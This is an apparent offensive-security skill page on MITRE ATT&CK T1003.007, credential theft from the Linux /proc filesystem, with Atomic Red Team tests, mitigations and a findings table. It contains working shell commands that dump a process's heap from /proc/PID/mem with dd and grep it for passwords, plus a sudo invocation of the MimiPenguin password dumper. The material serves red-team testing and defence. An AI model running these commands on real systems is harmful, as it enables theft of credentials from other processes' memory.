القائمة
Adversaries may gather credentials from the proc filesystem or `/proc`.
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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | T1003.007_proc-filesystem |
| description | Adversaries may gather credentials from the proc filesystem or `/proc`. |
| category | authentication |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1003.007","credential-access","linux","sub-technique"] |
| technique_id | T1003.007 |
| tactic | credential-access |
| all_tactics | ["credential-access"] |
| platforms | ["Linux"] |
| mitre_url | https://attack.mitre.org/techniques/T1003/007 |
| tech_stack | ["linux"] |
| cwe_ids | ["CWE-522"] |
| chains_with | ["T1003","T1003.001","T1003.002","T1003.003","T1003.004","T1003.005","T1003.006","T1003.008"] |
| prerequisites | ["T1003"] |
| severity_boost | {"T1003":"Chain with T1003 for deeper attack path","T1003.001":"Chain with T1003.001 for deeper attack path","T1003.002":"Chain with T1003.002 for deeper attack path"} |
Sub-technique of: T1003
Adversaries may gather credentials from the proc filesystem or /proc. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the /proc/<PID>/maps file shows how memory is mapped within the process’s virtual address space. And /proc/<PID>/mem, exposed for debugging purposes, provides access to the process’s virtual address space.
When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.
If running as or with the permissions of a web browser, a process can search the /maps & /mem locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.
Platforms: Linux
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Using /proc/$PID/mem, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
Supported Platforms: linux Elevation Required: Yes
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"
Dependencies:
Using /proc/$PID/mem, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.
Supported Platforms: linux Elevation Required: Yes
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS
Dependencies:
Using /proc/$PID/mem, where $PID is the target process ID, use a Python script to
copy a process's heap memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.
Supported Platforms: linux Elevation Required: Yes
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"
Dependencies:
MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.
Supported Platforms: linux Elevation Required: Yes
sudo #{MimiPenguin_Location} > #{output_file}
cat #{output_file}
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Proc Filesystem by examining the target platforms (Linux).
Assess Existing Defenses: Review whether mitigations for T1003.007 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Ensure that root accounts have complex, unique passwords across all systems on the network.
Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing sensitive information.
| Finding | Severity | Impact |
|---|---|---|
| Proc Filesystem technique applicable | High | Credential Access |
| CWE ID | Title |
|---|---|
| CWE-522 | Insufficiently Protected Credentials |